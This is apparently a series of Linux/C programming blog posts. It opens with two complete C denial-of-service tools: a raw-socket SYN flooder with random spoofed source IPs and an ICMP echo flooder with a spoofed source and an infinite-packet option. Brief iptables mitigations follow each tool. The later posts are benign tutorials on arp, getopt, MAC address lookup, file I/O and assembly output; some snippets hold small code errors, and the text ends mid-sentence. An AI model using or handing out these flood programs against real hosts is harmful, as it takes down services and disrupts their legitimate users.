Create SYN Flood with Raw Socket in C

This article will outline what a SYN flood is, it will give an example of a program that I wrote in C to produce a SYN flood with random source IP address and random source port to a target IP and target port, as well as how a firewall can mitigate a SYN flood attack using IPtables.

What Is A SYN Flood?

A SYN flood is aptly named, within the TCP header there are bit flags to indicate the TCP state in which a TCP session is in. A SYN flag is used to designate a new connection is incoming, and thus a server will reply with a SYN, ACK (two bits in the flags field are set), and thus a connection can be established. A flood, is the sheer magnitude of TCP syn packets sent to a server. After the server receives these packets it will send the reply to the source and port of the SYN packet, and thus creating a large set of outgoing packets itself and put a toll on the server to respond. The server will also sit waiting (for a predetermined amount of time) for the ACK to come back from the initial SYN sender, of course this will never happen because the SYN flood is simply meant to hog the server resources in the form of a denial of service (DOS) attack. When a legitimate user makes a request the server will not respond because it is already consumed by the half-opened connections from the SYN flood.

Crafting these packets in C is actually quite easy. The main piece of the puzzle is using a RAW socket, that allows the programmer to craft the packet in any way he/she sees fit. In this case the raw socket is used to build a TCP packet with the SYN flag set and random source IP/port data. Note, you must be running as root to send these packets.

C SYN Flood Program

The code for the program:

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
 
#define MAX_PACKET_SIZE 4096
/* ugh..so many magic numbers in here */
 
/* function for header checksums */
unsigned short csum (unsigned short *buf, int nwords)
{
    unsigned long sum;
    for (sum = 0; nwords > 0; nwords--)
        sum += *buf++;
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return (unsigned short)(~sum);
}
void setup_ip_header(struct iphdr *iph)
{    
    iph->ihl = 5;
    iph->version = 4;
    iph->tos = 0;    
    iph->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr));
    iph->id = htonl(54321);
    iph->frag_off = 0;
    iph->ttl = MAXTTL;
    iph->protocol = 6;  // upper layer protocol, TCP
    iph->check = 0;
 
    // Initial IP, changed later in infinite loop
    iph->saddr = inet_addr("192.168.3.100");
}
 
void setup_tcp_header(struct tcphdr *tcph)
{
    tcph->source = htons(5678);
    tcph->seq = random();
    tcph->ack_seq = 0;
    tcph->res2 = 0;
    tcph->doff = 5; // Make it look like there will be data
    tcph->syn = 1;
    tcph->window = htonl(65535);
    tcph->check = 0;
    tcph->urg_ptr = 0;    
}
 
int main(int argc, char *argv[ ])
{   
    char datagram[MAX_PACKET_SIZE];
    struct iphdr *iph = (struct iphdr *)datagram;
    struct tcphdr *tcph = (struct tcphdr *)((u_int8_t *)iph + (5 * sizeof(u_int32_t)));
    struct sockaddr_in sin;
    char new_ip[sizeof "255.255.255.255"];
 
    if(argc != 3){
        fprintf(stderr, "Invalid parameters!\n");
        fprintf(stdout, "Usage: %s <target IP/hostname> <port to be flooded>\n", argv[0]);
        exit(-1);
    }
 
    int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);    
    if(s < 0){
        fprintf(stderr, "Could not open raw socket.\n");
        exit(-1);
    }        
 
    unsigned int floodport = atoi(argv[2]);
 
    sin.sin_family = AF_INET;
    sin.sin_port = htons(floodport);
    sin.sin_addr.s_addr = inet_addr(argv[1]);
 
    // Clear the data
    memset(datagram, 0, MAX_PACKET_SIZE);
 
    // Set appropriate fields in headers
    setup_ip_header(iph);
    setup_tcp_header(tcph);   
 
    tcph->dest = htons(floodport);
 
    iph->daddr = sin.sin_addr.s_addr;    
    iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
 
    /* a IP_HDRINCL call, to make sure that the kernel knows
    *     the header is included in the data, and doesn't insert
    *     its own header into the packet before our data 
    */    
    int tmp = 1;
    const int *val = &tmp;
    if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
        fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");  
        exit(-1);
    }
 
    for(;;){
        if(sendto(s,	  /* our socket */
            datagram,		  /* the buffer containing headers and data */
            iph->tot_len,	  /* total length of our datagram */
            0,		  /* routing flags, normally always 0 */
            (struct sockaddr *) &sin,   /* socket addr, just like in */
            sizeof(sin)) < 0)	  /* a normal send() */
 
            fprintf(stderr, "sendto() error!!!.\n");
        else
            fprintf(stdout, "Flooding %s at %u...\n", argv[1], floodport);       
 
            // Randomize source IP and source port
            snprintf(new_ip,16,"%lu.%lu.%lu.%lu",random() / 255,random() / 255,random() / 255,random() / 255);
            iph->saddr = inet_addr(new_ip);       
            tcph->source = htons(random() % 65535);
            iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
    }
 
    return 0;
}

As you can see from the above example, the code is quite basic and uses a sendto() at the end to actually send the packet. I added the randomization to look as though the source is another user. In fact you could potentially add a randomized time delay between requests to look more legitimate. Another option is to set other TCP flags with the SYN, such as a SYN-RST, or something along those lines.

The Wireshark output from the destination machine:

As you can see the source IP and source port are randomized. Note the time between each packet is very small, hence the bombing.

Mitigate A SYN Flood With IPtables

The example I have listed above is a very basic form of a SYN flood generation tool. However, it undoubtedly could disrupt connections on older machines or ancient hardware. Luckily this can be avoided or dealt with via IPtables rules in your firewall. For instance:

# Permit only two (2) TCP connections to port 23
iptables -A INPUT -p tcp --syn --dport 23 -m connlimit --connlimit-above 2 -j REJECT
 
# or you can use this to setup a chain with a rate limit and a logging mechanism
iptables -N syn-flood
iptables -A syn-flood -m limit --limit 100/second --limit-burst 150 -j RETURN
iptables -A syn-flood -j LOG --log-prefix "SYN flood: "
iptables -A syn-flood -j DROP

The tricky part with mitigating a SYN flood is that you may be running a website where you want port 80 to be open and would rather not place a limit on how many connections can be handled in cases where you expect many user connections.

Another method of protecting TCP service ports on your box is to utilize what is known as port knocking. A fellow Canadian, YEAH, wrote a program called knockd which will only open a port if you use a secret knock. Once the knock is correctly done the TCP port will open and you can continue on your way.

I hope this article was insightful and you now have a better understanding of what a SYN flood is, how it could be programmed, and ways to avoid it.

Smurf Attack with ICMP in C

No, this is not a gang of disgruntled smurfs attacking your base. A smurf attack is where a computer sends an ICMP Echo request to the broadcast IP address of your current network. In the 1990′s most computers would reply to the source IP of this broadcast. So essentially, to execute the smurf attack a user would spoof the IP address of the victim computer and thus all computers on the network would reply to that spoofed IP address and thus send a huge amount of traffic to that victim computer. Once Microsoft and Linux became aware of this exploit most Windows computers no longer will reply to an ICMP request that is destinated to the broadcast IP address for that network (which is a good thing). You can, however, still DoS a computer with ICMP Echo requests by sending a very large amount of traffic to the destination computer using a spoofed source IP address. This article will include a ICMP smurf attack program written in…you guessed it C! As well as ways to mitigate a DoS or Broadcast attack with IPtables.

ICMP Echo Request Code in C

The program I wrote takes three (3) command line arguments. The first is the source IP address to use, the second is the destination address, and the third argument is the number of packets to be sent. If you specify 0 packets it will send an infinite amount of packets. This program uses a raw socket to spoof the source IP address and therefore must be run as root.

Usage:

# ./icmp_flood 
 
Usage: ./icmp_flood <saddr> <daddr> <# packets>
        <saddr> = spoofed source address
        <daddr> = target IP address
        <# packets> = is the number of packets to send, 100 is the default, 0 = infinite

The code:

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <string.h>
#include <arpa/inet.h>
 
#define BUFFER_SIZE 400
#define PACKET_DELAY_USEC 30
#define DEF_NUM_PACKETS 100
 
char buf[BUFFER_SIZE];
 
char *usage = "\nUsage: ./icmp_flood <saddr> <daddr> <# packets>\n \
	<saddr> = spoofed source address\n \
	<daddr> = target IP address\n \
	<# packets> = is the number of packets to send, 100 is the default, 0 = infinite\n";
 
void set_ip_layer_fields(struct icmphdr *icmp, struct ip *ip)
{
    // IP Layer
    ip->ip_v = 4;
    ip->ip_hl = sizeof*ip >> 2;
    ip->ip_tos = 0;
    ip->ip_len = htons(sizeof(buf));
    ip->ip_id = htons(4321);
    ip->ip_off = htons(0);
    ip->ip_ttl = 255;
    ip->ip_p = 1;
    ip->ip_sum = 0; /* Let kernel fill in */
 
    // ICMP Layer
    icmp->type = ICMP_ECHO;
    icmp->code = 0;	
    icmp->checksum = htons(~(ICMP_ECHO << 8));	
}
 
void set_socket_options(int s)
{
    int on = 1;
 
    // Enable broadcast
    if(setsockopt(s, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on)) < 0){
        perror("setsockopt() for BROADCAST error");
        exit(1);
    }
 
    // socket options, tell the kernel we provide the IP structure 
    if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){
        perror("setsockopt() for IP_HDRINCL error");
        exit(1);
    }	
}
 
int main(int argc, char *argv[])
{
    int s, i;	
    struct ip *ip = (struct ip *)buf;
    struct icmphdr *icmp = (struct icmphdr *)(ip + 1);
    struct hostent *hp, *hp2;
    struct sockaddr_in dst;
    int offset;
    int num = DEF_NUM_PACKETS;
 
    if(argc < 3){
        fprintf(stdout, "%s\n",usage);
        exit(1);
    }
 
    // If enough arguments supplied 
    if(argc == 4)
        num = atoi(argv[3]);
 
    // Loop based on the packet number
    for(i = 1; num == 0 ? num == 0 : i <= num; i++){
        // Clear data paylod
        memset(buf, 0, sizeof(buf));
 
        // Create RAW socket 
        if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){
            perror("socket() error");
            exit(1);
        }
 
        set_socket_options(s);
 
        if((hp = gethostbyname(argv[2])) == NULL){
            if((ip->ip_dst.s_addr = inet_addr(argv[2])) == -1){
                fprintf(stderr, "%s: Can't resolve, unknown host.\n", argv[2]);
                exit(1);
            }
        }else
            memcpy(&ip->ip_dst.s_addr, hp->h_addr_list[0], hp->h_length);
 
        if((hp2 = gethostbyname(argv[1])) == NULL){
            if((ip->ip_src.s_addr = inet_addr(argv[1])) == -1){
                fprintf(stderr, "%s: Can't resolve, unknown host\n", argv[1]);
                exit(1);
            }
        }else
            memcpy(&ip->ip_src.s_addr, hp2->h_addr_list[0], hp->h_length);
 
        set_ip_layer_fields(icmp, ip);
 
        dst.sin_addr = ip->ip_dst;
        dst.sin_family = AF_INET;
 
        if(sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst)) < 0){
            fprintf(stderr, "Error during packet send.\n");
            perror("sendto() error");
        }else
            printf("sendto() is OK.\n");
 
        close(s);
        usleep(PACKET_DELAY_USEC);
    }
    return 0;
}

Execution of the program:

# ./icmp_flood 1.2.3.4 10.3.4.123 3
sendto() is OK.
sendto() is OK.
sendto() is OK.

Voila. It is as easy as that. Notice that this is a raw socket, I had to use the setsockopt feature to permit the send to a broadcast address, as well as allowing the kernel to provide checksum data during send. Other than that it is merely setting the source and destination IP addresses accordingly. As well as setting the correct ICMP flags to indicate a ICMP request. If you remove the delay (or set it to 0), you will notice that the destination machine will stop sending echo reply’s as it is overwhelmed with the requests.

Protecting Against Smurf Attacks

There are various ways to protect against a smurf attack. In fact, the Windows network stack already ignores ICMP echo requests with a broadcast destination so you get that for free. The current Windows firewall blocks ICMP requests by default now. In Linux you can use IPtables to mitigate this attack with various rulesets for ICMP, for example:

iptables -A INPUT -p icmp -m icmp –icmp-type address-mask-request -j DROP
iptables -A INPUT -p icmp -m icmp –icmp-type timestamp-request -j DROP
iptables -A INPUT -p icmp -m icmp -m limit –limit 1/second -j ACCEPT

This example permits only specific ICMP types, none of which are Echo Reply or Echo Request. Only address masking or timestamp (so you can detect that the machine is still alive but drop basic pings), and even then this only allows a packet rate limit of 1 packet per second to the host machine. This avoids both a smurf attack as well as a DoS attack because of the rate limiting rule. Never bad to be cautious on a network.

Display, Add, Flush arpcache In Linux With ‘arp’

The arp table or arp cache keeps track of all devices on your network that your computer is capable of communicating with. It stores the Layer 2 data ( MAC addresses ) as well as the interface in which the device is connected through (i.e. which interface the traffic came in on ). This table can be viewed, modified, flushed using the arp command in Linux. To view this table you can be running as a normal user, but to make modifications to this table you must be running as a super user aka root because it interfaces with the kernel. The options the arp command provides are:

$ arp --help
Usage:
  arp [-vn]  [<HW>] [-i <if>] [-a] [<hostname>]             <-Display ARP cache
  arp [-v]          [-i <if>] -d  <host> [pub]               <-Delete ARP entry
  arp [-vnD] [<HW>] [-i <if>] -f  [<filename>]            <-Add entry from file
  arp [-v]   [<HW>] [-i <if>] -s  <host> <hwaddr> [temp]            <-Add entry
  arp [-v]   [<HW>] [-i <if>] -Ds <host> <if> [netmask <nm>] pub          <-''-
 
        -a                       display (all) hosts in alternative (BSD) style
        -s, --set                set a new ARP entry
        -d, --delete             delete a specified entry
        -v, --verbose            be verbose
        -n, --numeric            do not resolve names
        -i, --device             specify network interface (e.g. eth0)
        -D, --use-device         read <hwaddr> from given device
        -A, -p, --protocol       specify protocol family
        -f, --file               read new entries from file or from /etc/ethers

Lets look at viewing the current arp cache entries.

View Arp Cache Entries

There are at least two ways to view the current arp cache entries. Using the arp utility we can view the current arp entries. I prefer to use the -n option to view the results immediately. The -n will stop the name resolution and just simply display the IP address, otherwise the system tries to identify the actual name (if specified by dns) of the IP.

$ arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.16.35             ether   00:0e:22:8b:2e:60   C                     eth0
192.168.16.174            ether   00:bb:23:11:13:33   C                     eth0
192.168.16.199            ether   00:1b:24:aa:22:fc   C                     eth0
192.168.16.32             ether   00:30:48:59:6b:48   C                     eth0
192.168.16.1              ether   00:11:39:af:aa:4a   C                     eth0
192.168.16.160            ether   00:26:b9:2c:7a:53   C                     eth0
192.168.16.165            ether   00:1a:a4:1f:b6:7b   C                     eth0

Chatty network. These are all the machines my computer has communicated with. This table is used when sending traffic out, it can identify which interface to send traffic out on. With multiple interfaces this makes more sense.

We can also view the arp entries using /proc/net/arp, doing a cat on that file will produce the same output as running through the arp command.

Perhaps you want to add a static arp entry.

Add Static Arp Entry

To add an arp entry we simply take advantage of the options that the arp command provides. Lets add an arbitrary entry.

# arp -i eth0 -s 10.11.12.13 de:ad:be:ef:fe:ed

Note, I am running as root to add this entry. Lets have a look at the table now:

# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.16.35             ether   00:0e:22:8b:2e:60   C                     eth0
192.168.16.174            ether   00:bb:23:11:13:33   C                     eth0
10.11.12.13              ether   de:ad:be:ef:fe:ed   CM                    eth0
192.168.16.199            ether   00:1b:24:aa:22:fc   C                     eth0
192.168.16.32             ether   00:30:48:59:6b:48   C                     eth0
192.168.16.1              ether   00:11:39:af:aa:4a   C                     eth0
192.168.16.160            ether   00:26:b9:2c:7a:53   C                     eth0
192.168.16.165            ether   00:1a:a4:1f:b6:7b   C                     eth0

Notice line 5 is where my entry landed. Also notice the additional M under the Flags column. Voila, you now have an entry for 10.11.12.13 using interface eth0. If you wanted a different interface simply replace the value from my above example.

Perhaps over time you become sick of the new entry, it doesn’t pay rent or keep the place clean so its time to get rid of it!

Remove Entry From Arp Cache

To remove an entry we can refer to the initial help output I pasted above.

  arp [-v]          [-i <if>] -d  <host> [pub]               <-Delete ARP entry

So in our case, we will be removing 10.11.12.13 from the arp cache.

# arp -i eth0 -d 10.11.12.13

That entered without a hitch, lets verify that it is now gone:

# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.16.35             ether   00:0e:22:8b:2e:60   C                     eth0
192.168.16.174            ether   00:bb:23:11:13:33   C                     eth0
192.168.16.199            ether   00:1b:24:aa:22:fc   C                     eth0
192.168.16.32             ether   00:30:48:59:6b:48   C                     eth0
192.168.16.1              ether   00:11:39:af:aa:4a   C                     eth0
192.168.16.160            ether   00:26:b9:2c:7a:53   C                     eth0
192.168.16.165            ether   00:1a:a4:1f:b6:7b   C                     eth0

Excellent! Unfortunately, the Linux arp command has no global flush option. But wait! You saw how basic the line for a delete is. Lets just make a simple shell script to remove multiple entries.

Flush Arp Cache With This Shell Script

To flush our arp cache we just need to construct a basic shell script to do so. Of course we will have to run as root when executing the command! Here is a simple script to flush the arp cache. Depending on how large your arp cache is, is related to how fast/slow it takes to remove all entries. Also remember that once your system receives a packet from any other host computer, the entry will be added back into the arp cache. The interface entry is optional, arp requires only the IP address during removal.

#!/bin/sh
 
for i in `awk -F ' ' '{ if ( $1 ~ /[0-9{1,3}].[0-9{1,3}].[0-9{1,3}].[0-9{1,3}]/ ) print $1 }' /proc/net/arp` ; 
do 
    arp -d $i 
done

This example takes advantage of the /proc/net/arp file to grab all IP addresses. We could also call arp -n and parse its output for the IP addresses. It just makes more sense to read from a file rather than spawning a shell command to execute arp.

Parse Command Line Arguments With getopt In C

Getopt is a great function for parsing command line arguments, and a function that I did not learn about until I was looking at some Busybox C code. There are two versions of getopt, one for a long set of arguments and the basic version that I plan to outline here for use on a small set.

So how does getopt help you? What makes it different from just running through argv**? Well essentially it does the work for you! As a programmer it is always nice to do things easily and efficiently. The goal of this article is to familiarize you with the basic functionality of getopt in C.

The basic form of getopt is:

int getopt(int argc, char * const argv[],  const char *optstring);

Where int argc and char *const argv[] are just passed in from your int main(int argc, char **argv);. It should also be noted that getopt will set some external variables that are provided when you include unistd.h to use getopt, they are:

extern char *optarg;
extern int optind, opterr, optopt;

getopt returns an integer which you can compare as ASCII against values in a switch statement.

Using getopt()

So, now we know what getopt is, how do we use it? The main idea is to use it in a loop, once all the command line arguments have been parsed getopt will return a -1.

Okay, so we know what the first two arguments for getopt are (argc, and argv from your int main() )…but what about the third argument? Well that is where your flag definitions come in. So lets say you have a program that has three flags: { a, b, c } where its -c followed by a value. All you have to do is feed those values as the third argument, for example:

  getopt(argc, argv, "abc:");

Notice that it is c followed by a colon. The colon means that a value should follow the c and thus we should parse that value if we see the -c. One thing to note is that if getopt receives a character that is not part of optstring then getopt will return a question mark ( ? ) since we don’t know what value a user will put after the -c, we know we will receive a ? if they use that flag. This means in your switch statement you need a case for ? .

Example Program Using getopt()

Here is the program all put together, using a, b, c as our flags. In this example you can also see I used some of the global external variables that getopt automatically sets including optarg and optopt.

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
 
int
main (int argc, char **argv)
{
  int adata = 0; // Flag a
  int bdata = 0; // Flag b
  char *cvalue = NULL; // The value argument after c
  int index;
  int c;
 
  opterr = 0;
 
  while ((c = getopt (argc, argv, "abc:")) != -1)
	switch (c){
	  case 'a':
		fprintf(stdout, "There is a -a.\n");
		break;
 
	  case 'b':
		fprintf(stdout, "There is a -b.\n");
		break;
 
	  case 'c':
		fprintf(stdout, "There is a -c and perhaps a value.\n");
		cvalue = optarg;
                fprintf(stdout, "C is: %s \n",cvalue);
		break;
 
	  case '?':
		// This is a case where they have either placed a -c with an argument.
		// OR there is a rogue character on the command line.
 
		if (optopt == 'c')
			fprintf (stderr, "A -c %c was specified but 
				not argument present. \n", optopt);
		else if (isprint (optopt))
			fprintf (stderr, "Unknown option `-%c'.\n", optopt);
		else
			fprintf (stderr,
				"Unknown option character `\\x%x'.\n",
					optopt);
			return 1;
	  default:
		  abort ();
	  }
 
  // We can spit out the characters that are not part of the command line.
  for (index = optind; index < argc; index++)
	  printf ("Non-option argument %s\n", argv[index]);
  return 0;
}

Okay, now that the program is made, lets run it:

erik@debian:~/getopt_y$ gcc -o getopt_test getopt_test.c
erik@debian:~/getopt_y$ ./getopt_test -ab
There is a -a.
There is a -b.
C is: (null)
erik@debian:~/getopt_y$ ./getopt_test -abc
There is a -a.
There is a -b.
A -c c was specified but not argument present.
erik@debian:~/getopt_y$ ./getopt_test -abc yar
There is a -a.
There is a -b.
There is a -c .. and perhaps a value.
C is: yar
erik@debian:~/getopt_y$ ./getopt_test -a
There is a -a.
C is: (null)
erik@debian:~/getopt_y$ ./getopt_test -b
There is a -b.
C is: (null)
erik@debian:~/getopt_y$ ./getopt_test -c
A -c c was specified but not argument present.

So there you have it, a simple and effective way to parse your command line arguments rather than using strcmp to compare each value on its own.

What Is My Interfaces MAC Address?

A MAC address is the unique identifier that is assigned to a network interface to communicate on your physical network. A MAC address consists of 48 bits and is usually displayed as 6 octets. I won’t get into all the grimy details of network topology and the 7 layer OSI model, that’s what Wikipedia is for! Instead I will give you a few examples of how to display your MAC address in Linux, in Windows, and from a C program using ioctl calls.

In Linux we can use the ifconfig command and grep for HW.

Display MAC Address In Linux

To grab the MAC address of an interface in Linux, simply execute your ifconfig command and do a grep for HW.

$ /sbin/ifconfig | grep HW
eth0      Link encap:Ethernet  HWaddr 00:1a:92:1d:dc:9b  
eth1      Link encap:Ethernet  HWaddr 00:1b:21:0a:d2:cf

In this case my MAC address for eth0 is 00:1a:92:1d:dc:9b and for eth1 is 00:1b:21:0a:d2:cf.

Voila, if you wanted to find it for eth0 specifically, just do a “ifconfig eth0 | grep HW”.

Display MAC Address In Windows

In Windows to quickly find the MAC address of your interface, you can bring up a console Windows. Start > Type “cmd” In the Search programs and Files. This will bring up a the command prompt. Enter the command ipconfig /all This will display ethernet information for all interfaces on your windows machine.

C:\Users\Erik> ipconfig /all
Ethernet adapter Local Area Connection:
 
        Connection-specific DNS Suffix  . : localdomain
        Description . . . . . . . . . . . : VMware Accelerated AMD PCNet Adapter
        Physical Address. . . . . . . . . : 00-0C-29-2B-3E-6D
        Dhcp Enabled. . . . . . . . . . . : Yes
        Autoconfiguration Enabled . . . . : Yes
        IP Address. . . . . . . . . . . . : 192.168.2.104
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.2.1

As shown in the third line, the MAC / Physical address of my virtual interface.

Retrieve MAC Address In C Using A Socket And Ioctl Call

There are a few methods to grab the MAC address of an interface in C. You could actually just do a system or popen call and execute the command I mentioned above (ifconfig | grep HW) and parse the reply. But that’s too easy…and less efficient. Here is a function that takes two parameters as input, the first is the interface name we want to retrieve the MAC address for, and the second is the buffer where we will store the data.

/**
*  get_mac_str()
* interface_name        the name of the interface we want the MAC of
* mac_str               the buffer we will store the result in
* RETURNS: 0 on success; -1 on error.
*/
int get_mac_str(const char *interface_name, char *mac_str) 
{
        int ioctl_data = 0;
        struct ifreq ifr;
 
        // If either pointer is NULL
        if (!ifName || !macAddrStr) return(-1);
 
        // Setup our socket 
        if ( (ioctl_data = socket(PF_INET, SOCK_STREAM, 0)) == -1 ){
                fprintf(stderr, "Could not setup socket.\n");
                return(-1);
        }
 
        // Clear the IFREQ structure
        memset(&ifr, 0, sizeof(ifr));
 
        // Store our interface name in the structure for lookup
        strncpy(ifr.ifr_name, interface_name, sizeof(ifr.ifr_name));
        if ( ioctl(ioctl_sid, SIOCGIFHWADDR, &ifr) < 0) 
        {
                fprintf(stderr, "Could not execute ioctl call.\n");
                close(ioctl_data);
                return(-1);
        }
        close(ioctl_data);
 
        // Ensure we are dealing with an Ethernet device
        if (ifr.ifr_hwaddr.sa_family != ARPHRD_ETHER) 
        {
                fprintf(stderr, "Not an ethernet device.\n");
                return(-1);
        }
        // C function to convert address to octet colon form
        ether_ntoa_r((const struct ether_addr *)&(ifr.ifr_hwaddr.sa_data), 
                        mac_str);
        return(0);
}

This last example is much more efficient than executing a system or popen call. A drawback is you must know what the interface name is you are looking for.

File Input / Output in C – Examples

File Input / Output in C can be achieved using the C stream functions such as fopen, fclose or using system calls of open, close. Depending on which method you choose, the functions available for reading, creating, and writing to that file differ. In this article I will tackle the use of the C stream function set.

Opening a File in C using fopen

The fopen() function call takes two arguments, one of the file path, and the second the mode in which you want to open that file. The mode is especially important, the options include:

Note: This is extracted from the glibc manual page.

  • r – Open text file for reading. The stream is positioned at the beginning of the file.
  • r+ – Open for reading and writing. The stream is positioned at the beginning of the file.
  • w – Truncate file to zero length or create text file for writing. The stream is positioned at the beginning of the file.
  • w+ – Open for reading and writing. The file is created if it does not exist, otherwise it is truncated. The stream is positioned at the beginning of the file.
  • a – Open for appending (writing at end of file). The file is created if it does not exist. The stream is positioned at the end of the file.
  • a+ – Open for reading and appending (writing at end of file). The file is created if it does not exist. The initial file position for reading is at the beginning of the file, but output is always appended to the end of the file.

So for example, if you have a file that you know already exists on disk, you can open it by doing:

#define FILEPATH "/tmp/erik_file.txt"
 
FILE *fp; // fopen returns a file handle of type FILE *
fp = fopen(FILEPATH, "r"); // in this case we open the file for reading
if(!fp){
  fprintf(stderr, "File - %s - could not be opened.\n", FILEPATH);
  return -1;
}
 
// Do some processing on the file..perhaps read from it
fgets(s,size,fp);

If the file cannot be opened then fopen() will return NULL with errno being set. Otherwise fopen() returns a valid file pointer.

How To Read From a File in C

Now we have our file opened from the above example, but what good is an open file if you don’t do anything with it? Since we have a file stream open there are various function calls we can use that take a FILE stream as a parameter.

Note: Extracted from glibc manual pages.

  • int fgetc(FILE *stream);
    fgetc() reads the next character from stream and returns it as an unsigned char cast to an int, or EOF on end of file or error.
  • char *fgets(char *s, int size, FILE *stream);
    reads in at most one less than size characters from stream and stores them into the buffer pointed to by s. Reading stops after an EOF or a newline. If a newline is read, it is stored into the buffer. A \0 is stored after the last character in the buffer.
  • int getc(FILE *stream);
    is equivalent to fgetc() except that it may be implemented as a macro which evaluates stream more than once.
  • int ungetc(int c, FILE *stream);
    pushes c back to stream, cast to unsigned char, where it is available for subsequent read operations. Pushed-back characters will be returned in reverse order; only one pushback is guaranteed.

For example:

#define MAX_LEN 512
  ...
char data[MAX_LEN];
while (fgets(data, MAX_LEN, fp) != NULL) { // We read input up to MAX_LEN size.
     ...
}
// do something with 'data'.

How To Write To a File in C

To write to a file in C, the file must have been opened with the ‘r+’ or ‘w+’ options in fopen(), otherwise the user will not have the ability to write to the file. Lets write the file using fwrite(). fwrite() is used for writing binary data to the file.

  • size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream);

So if we wanted to write ‘hello’ to the file, assuming it is already open, we can simply do:

int count = 0;
const char *str = "hello\n";
 
// write to the file, and get return value of bytes written
count = fwrite(str, strlen(str), 1, fp);
 
// display bytes written and whether it was a success
// then close the file
printf("Wrote %u bytes. fclose(fp) %s.\n", count,  fclose(fp) == 0 ? "succeeded" : "failed");
 
return EXIT_SUCCESS;

Closing a File in C

To close the file that was previously opened using fopen(), simply call fclose() passing in the FILE *fp that you used earlier during the open procedure.

fclose(fp);

Useful File Pointer Functions in C

I always find it handy to be able to move to a specific position in a file for reading or writing. It is also sometimes useful to know where in a certain file your pointer is, these functions do just that.

  • int fseek(FILE *stream, long offset, int whence);
  • long ftell(FILE *stream);
  • void rewind(FILE *stream);
  • int fgetpos(FILE *stream, fpos_t *pos);
  • int fsetpos(FILE *stream, fpos_t *pos);

Note: Extracted from glibc manual pages.

The fseek() function sets the file position indicator for the stream pointed to by stream. The new position, measured in bytes, is obtained by adding offset bytes to the position specified by whence. If whence is set to SEEK_SET, SEEK_CUR, or SEEK_END, the offset is relative to the start of the file, the current position indicator, or end-of-file, respectively. A successful call to the fseek() function clears the end-of-file indicator for the stream and undoes any effects of the ungetc(3) function on the same stream.

The ftell() function obtains the current value of the file position indicator for the stream pointed to by stream.

The rewind() function sets the file position indicator for the stream pointed to by stream to the beginning of the file. It is equivalent to:

(void)fseek(stream, 0L, SEEK_SET)

except that the error indicator for the stream is also cleared (see clearerr(3)).

The fgetpos() and fsetpos() functions are alternate interfaces equivalent to ftell() and fseek() (with whence set to SEEK_SET), setting and storing the current value of the file offset into or from the object referenced by pos. On some non-UNIX systems an fpos_t object may be a complex object and these routines may be the only way to portably reposition a text stream.

Display Assembly Code of C Program

In my last article I wrote about inline assembly for your C program. It got me thinking about the compilation process and how a compiler breaks the code down to the opcode (operation code) or assembly language and what that looks like. Anyone who has done a computer science/computer engineering degree has had to suffer through writing a program in assembly, myself, I was able to use the good old MC68HC11 to practice on. In fact, my professor for this class created his own assembly language with his own compiler and had us write our first assignment in BINARY, yes you read that correctly. It is actually somewhat neat to program in that low a level and can be very rewarding when your program works correctly, but I digress.

There are a few ways to investigate how your program has been boiled down to assembly. You may use the objdump utility in tandem with gcc -g, or you can compile your program with -s which will produce a *.s file. Lets first look at compiling a program with the gcc -s option.

Compile Your Program With ‘gcc -s’

To produce a .s file simply add the -s flag to your compilation step. This informs the compiler to stop after compilation, quoted from the gcc manual page:

-S
 
Stop after the stage of compilation proper; do not assemble. The output is in
the form of an assembler code file for each non-assembler input file specified.
 
By default, the assembler file name for a source file is made by replacing the 
suffix .c, .i, etc., with .s.
 
Input files that don't require compilation are ignored.

Hey sweet! Lets check out the process and the file.

$ gcc -s -c zeus.c
$ ls -l
total 40
-rw-r--r-- 1 erik erik   335 2011-04-09 14:06 Makefile
-rwxr-xr-x 1 erik erik  9357 2011-04-09 14:06 zeus
-rw-r--r-- 1 erik erik   554 2008-11-13 21:06 zeus.c
-rw-r--r-- 1 erik erik  1079 2008-09-21 19:08 zeus.c~
-rw-r--r-- 1 erik erik  1200 2011-04-09 14:20 zeus.o
-rw-r--r-- 1 erik erik 11345 2011-04-09 14:06 zeus.s

Well look here, zeus.s! I wonder what could be in that file? Any bets? You guessed it, some cryptic information.

.LCFI5:
        .loc 1 24 0
        movl    stderr, %eax
        movl    $4, 8(%esp)
        movl    $.LC0, 4(%esp)
        movl    %eax, (%esp)
        call    fprintf
        movl    stderr, %eax
        movl    $24, 16(%esp)
        movl    $.LC1, 12(%esp)
        movl    $__FUNCTION__.3213, 8(%esp)
        movl    $.LC2, 4(%esp)
        movl    %eax, (%esp)
        call    fprintf
        movl    $.LC3, (%esp)
        call    perror
        movl    $1, (%esp)
        call    exit

While this information can be useful, it is somewhat hard to interpret. The assembly code above makes a little more sense, and shows use of the stack pointer (%esp) and the ‘a’ register (%eax). This should look familiar if you read my previous article. The objdump program makes this cryptic information a little easier to use.

View Assembly With ‘objdump’

To fully utilize the objdump utility compile your C program using the -g option. From the GCC manual page:

-g
 
Produce debugging information in the operating system's native format
(stabs, COFF , XCOFF , or DWARF 2). GDB can work with this debugging
information. On most systems that use stabs format, -g enables use of 
extra debugging information that only GDB can use; this extra information 
makes debugging work better in GDB but will probably make other debuggers
